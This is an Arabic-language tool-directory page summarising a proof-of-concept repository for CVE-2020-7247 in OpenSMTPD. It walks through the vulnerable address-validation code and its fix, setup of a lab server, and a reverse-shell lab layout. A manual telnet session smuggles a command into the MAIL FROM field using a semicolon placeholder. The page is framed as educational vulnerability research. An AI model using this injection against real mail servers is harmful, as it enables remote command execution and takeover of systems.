Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-7247-POC — إثبات المفهوم لـ CVE-2020-7247 لأغراض تعليمية. | Kitploit
أدوات/GitHubGitHub/simonschoeni/cve-2020-7247-poc
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمتطوير الحمولاتأمان البريد الإلكتروني
GitHubsimonschoeni/cve-2020-7247-poc

CVE-2020-7247-POC

إثبات المفهوم لـ CVE-2020-7247 لأغراض تعليمية.

عرض المستودع
2منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
  • مقدمة
  • حقائق رئيسية حول الثغرة
  • تثبيت الخادم الضعيف
    • التكوين
    • إخلاء مسؤولية البيئة
  • الاستغلال
    • الاستغلال اليدوي
    • الاستغلال النصي

مقدمة

يجب أن يكون هذا المستودع بمثابة قاعدة لإعداد واستغلال CVE-2020-7247 في بيئة خاصة ومسيطر عليها. جميع الشيفرات والتكوينات المنشورة هي فقط لاختبار هذه الثغرة وليس لاستغلالها ضد أنظمة ليست ملكك أو ليس لديك إذن باستغلالها. مالك هذا المستودع غير مسؤول عن استخدام هذه الأدوات من قبل أطراف ثالثة.

حقائق رئيسية حول الثغرة

المشكلة الرئيسية في الشيفرة هي أن التحقق من البريد الإلكتروني لا يعمل. فهو يسمح بتمرير أحرف يحتمل أن تكون خطيرة في حقلي MAIL FROM و RCPT TO.
إذا كان الجزء المحلي من عنوان البريد غير صالح، يتم التعامل معه كصالح لأن الشيفرة تضيف جزء النطاق إليه ثم تفسره كصالح بعد ذلك. وهذا يسمح للمهاجم بتنفيذ شيفرة عشوائية.

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2229                 if (maddr->domain[0] == '\0') {
2230                         (void)strlcpy(maddr->domain, domain,
2231                             sizeof(maddr->domain));
2232                         return (1);
2233                 }
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

يجب أن تبدو الشيفرة كما يلي حتى تكون آمنة:

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

يقوم Opensmtpd بعد ذلك بتنفيذ ما يسمى أمر MDA. يستخدم الأمر لتسليم البريد. يبدو كالتالي:

root@kitploit:~
asprintf(&dispatcher->u.local.command,
            "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");

هنا قد ترى المشكلة بالفعل. mbox.from هو عنوان المرسل الذي يخضع بالكامل لسيطرة المهاجم.
ومع ذلك، المهاجم مقيد باستخدام الأحرف فقط في الشيفرة القابلة للتنفيذ غير المدرجة في القائمة التالية: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
تم الكشف عنها بالكامل هنا

تثبيت الخادم الضعيف

يمكنك اختيار أي توزيعة لتشغيل الخادم عليها. لقد اختبرته على Ubuntu 18.04 LTS.
نفذ chmod +x setup.sh لجعل سكريبت الإعداد قابلاً للتنفيذ. يمكنك استخدامه كمستخدم عادي لأنني قمت بتضمين صلاحيات sudo فقط في السكريبت عند الحاجة. (بالطبع يحتاج حسابك إلى صلاحية sudoer)
سيعمل سكريبت الإعداد على تثبيت جميع التبعيات المطلوبة لـ smtpd نفسه ونسخ التكوين إلى مواقعها الخاصة.
سيتم تثبيت Opensmtpd 6.6.1.
إذا كنت بحاجة إلى تشغيل openstmpd يدويًا أو كان هناك خطأ في السكريبت، فقم بتنفيذ التالي:

root@kitploit:~
cd /usr/local/sbin
sudo smtpd
أو
sudo smtpd -dv لإخراج تصحيح الأخطاء

التكوين

التكوين في هذا المستودع مخصص فقط للاختبار المحلي. لا يتضمن نطاقات خارجية/تكوين متقدم.
aliases و smtpd.conf هما ملفا التكوين الضروريان لإعداد هذا الخادم. يمكنك تغييرهما كما تريد. ضع في اعتبارك أن التكوين كان مخصصًا لخادم الاختبار الخاص بي. كان اسم الخادم الخاص بي هو ase (التوجيه @ase في smtpd.conf) وكان اسم المستخدم الخاص بي هو ase (تكوين مستخدم aliases).
سيتعين عليك استبدال <YOUR IP> في smtpd.conf بعنوان IP الخاص بخادمك. وإلا فلن يبدأ smtpd.

إخلاء مسؤولية البيئة

في حال صادفت أي عناوين IP ومنافذ في هذه البيئة، إليك بعض الحقائق الرئيسية حول البيئة التي استخدمتها حتى تتمكن من تغييرها وفقًا لذلك:

  • اسم الخادم: ase
  • اسم المستخدم: ase
  • عنوان IP لخادم SMTPD: 192.168.1.40
  • منفذ SMTPD: 25
  • عنوان IP للمهاجم: 192.168.1.31
  • منفذ للشل العكسي: 1337

الاستغلال

الاستغلال المقدم يستخدم Python 3.x. يعتمد على pwn. لاستخدام هذا الاستغلال، تحتاج إلى تثبيت pwntools باستخدام pip3 install pwntools.
بشكل أساسي، يقوم الاستغلال تلقائيًا باستغلال الثغرة دون الحاجة لتفاعل المستخدم. ومع ذلك، يمكن القيام بالاستغلال يدويًا دون النص البايثوني.

الاستغلال اليدوي

كما ذكرنا سابقًا، يمكن تنفيذ الاستغلال بدون النص البايثوني المقدم. ستحتاج إلى متابعة عملية SMTP يدويًا. يمكن القيام بذلك باستخدام netcat أو telnet.
إليك مثال على كيفية القيام بذلك يدويًا:

root@kitploit:~
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery

الاستغلال النصي

يمكنك أيضًا استخدام النص المقدم. الوسائط التالية ممكنة:

  • --targetHost يحدد الهدف وهو مطلوب
  • --targetPort يحدد منفذ الهدف وهو مطلوب
  • --customCommand يحدد الأمر المراد حقنه

shellcode.py يعمل كمثال على كيفية ظهور شيفرة عن بعد. \

عرض توضيحي للاستغلال

تنزيل الأداة